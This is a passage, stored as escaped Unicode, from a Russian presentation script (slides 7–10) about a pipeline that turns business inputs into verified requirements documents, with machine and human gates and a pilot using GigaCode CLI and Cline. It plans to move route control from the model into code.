\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043b\u043e\u0432\u0438\u0442 \u043e\u0448\u0438\u0431\u043a\u0443,\\n\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u0438\u0437 \u0435\u0451 \u0436\u0435 \u043b\u043e\u0436\u043d\u043e\u0433\u043e \u0443\u0431\u0435\u0436\u0434\u0435\u043d\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u0430 \u043e\u0442\\n\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0431\u0440\u0430\u043d\u0430 \u043f\u043e \u0442\u0438\u043f\u0443 \u0440\u0430\u0431\u043e\u0442\u044b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440. \u041f\u043e\u043a\u0430\u0436\u0443 \u0435\u0433\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438\\n\u0441\u0440\u0430\u0437\u0443 \u0441\u043a\u0430\u0436\u0443, \u0447\u0442\u043e \u0432 \u043d\u0451\u043c \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u0430 \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 7. \u041a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u0441\u044b\u0440\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0439 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0437\u0430 \u043f\u044f\u0442\u044c \u0448\u0430\u0433\u043e\u0432 \u0438 \u0434\u0432\u0430 \u0433\u0435\u0439\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u0447\u0435\u0441\u0442\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0442\u0438\u0442\u044c\\n\u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f: \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u0438 \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a \u0432\u0445\u043e\u0434\u043d\u043e\u043c\u0443\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443. \u0411\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0448\u0430\u0433 \u043d\u0435 \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442.\\n- \u0421\u0432\u0435\u0440\u043a\u0430: \u043a\u0430\u0436\u0434\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u043a\u0435\u0439\u0441\u0443. \u041d\u0435\u044f\u0441\u043d\u043e\u0441\u0442\u044c\\n  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0432\u043e\u043f\u0440\u043e\u0441 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0432 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u0435.\\n- \u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443. \u041c\u044b\\n  [\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md):\\n  \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438\\n  \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430. \u0414\u043b\u044f \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 2 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 4\\n  \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445\\n  [\u0437\u043e\u043b\u043e\u0442\u044b\u0445 \u043a\u0435\u0439\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden)\\n  \u2014 \u043d\u0430 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0432\u0440\u043e\u0434\u0435 SLA \u0438 AHT.\\n- \u0413\u0435\u0439\u0442\u044b: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u2014 \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435\\n  \u0432\u044b\u0431\u043e\u0440\u044b. \u0427\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430.\\n- \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f: \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430,\\n  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n**\u0421\u0442\u0430\u0442\u0443\u0441 \u2014 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e:**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0441\u0431\u043e\u0440\u043a\u0430 Release. \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442\\n  [\u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n- \u0412 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c: \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u043d\u0430 \u0441\u0440\u0435\u0437\u0435\\n  `contact-center`.\\n- \u041d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e: \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430.\\n  \u0421\u0435\u0439\u0447\u0430\u0441 \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u044b\u0434\u0430\u0451\u0442 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON, \u0430 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u2014 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\n  \u043c\u043e\u0434\u0435\u043b\u0438. \u042d\u0442\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0413\u0434\u0435 \u044d\u0442\u043e\u0442 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u0430 \u0434\u0440\u0443\u0433\u0430\u044f\\n\u0441\u0440\u0435\u0434\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440\\n\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0436\u0435\u043b\u0430\u043d\u0438\u0435\u043c.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0430 \u043f\u043e\\n  [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md):\\n  Source \u0445\u0440\u0430\u043d\u0438\u0442 \u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, Distribution \u2014 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442,\\n  Runtime \u2014 \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, Feedback \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0432 Source.\\n- \u0421\u0435\u0439\u0447\u0430\u0441 \u0434\u0432\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u0410\u0420\u041c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430: GigaCode CLI \u0438 Cline \u0441 Mango AI.\\n  \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u0432 \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u043e\u043d \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432. \u041e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n  \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u044b.\\n- \u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b \u043d\u0430\u0448\u0451\u043b\\n  [\u0430\u0443\u0434\u0438\u0442 \u0441\u0440\u0435\u0434](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md):\\n  \u0443 \u0440\u043e\u043b\u0438 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 CLI \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432\\n  Cline \u043c\u043e\u0434\u0435\u043b\u044c \u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0438 \u0440\u0435\u0448\u0430\u0435\u0442 \u0441\u0430\u043c\u0430.\\n- \u041f\u0440\u043e\u0431\u0430 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0448\u0451\u043b \u0443\u0437\u043b\u044b n1\u2013n3, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u0434\u043e\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u043f\u0440\u0438\\n  \u044d\u0442\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430 1.0.\\n- \u041e\u0442\u0441\u044e\u0434\u0430 \u0432\u0435\u043a\u0442\u043e\u0440. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 runner \u043d\u0430 \u0410\u0420\u041c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043b\u0438\u0434\u0435\u0440\u043e\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. \u0417\u0430\u0442\u0435\u043c\\n  \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u2014 \u0421\u0440\u0435\u0434\u0430 4: \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439\\n  \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u043d\u0430 15 \u0443\u0437\u043b\u043e\u0432, \u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0438\u0437 \u043a\u043e\u0434\u0430.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0430\u0433\u0435\u043d\u0442\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a:** \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u2014\\n\u044d\u0442\u043e workflow, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0430\u0433\u0435\u043d\u0442. \u0422\u0430\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0438 Anthropic \u0432\\n[Building effective agents](https://www.anthropic.com/engineering/building-effective-agents),\\n\u0438 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u00abOwn your control flow\u00bb \u0438\u0437\\n[12-factor agents](https://github.com/humanlayer/12-factor-agents).\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0434\u043e\u043c, \u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u044d\u0442\u043e\\n\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f, \u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430: \u0435\u0433\u043e \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u0434\u0435\u043b\u0430\u0435\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0443 \u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0431\u0435\u0441\u0448\u043e\u0432\u043d\u043e\u0439\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440 \u0441 \u00ab\u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u0422\u0417\u00bb \u043d\u0430\\n\u00ab\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438\u00bb.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f\\n  \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\\n  [860 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md)\\n  \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u0432\u0441\u0435 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432, \u043d\u043e\u0432\u044b\u0439 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0441\u044f.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b,\\n  \u0433\u0434\u0435 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0435\u0441\u0442\u044c \u0441\u043b\u0435\u0434 \u0434\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. \u041f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u0431\u044b\u0442\u044c\\n  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c.\\n- \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f\\n  [\u043f\u044f\u0442\u044c\u044e \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md):\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0434\u043e\u043b\u044f \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430, \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b, \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430, \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439.\\n- \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438: \u0435\u0441\u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442, \u043e\u043d \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u2014 \u0441\u0438\u0433\u043d\u0430\u043b \u0442\u0440\u0435\u0432\u043e\u0433\u0438, \u0430 \u043d\u0435 \u0443\u0441\u043f\u0435\u0445.\\n- \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u043d\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435,\\n  \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437\\n  \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043c\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 10. \u041e\u0442 \u043f\u0438\u043b\u043e\u0442\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4 \u2014 \u0442\u0440\u0438 \u0448\u0430\u0433\u0430, \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u0434\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n\u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c 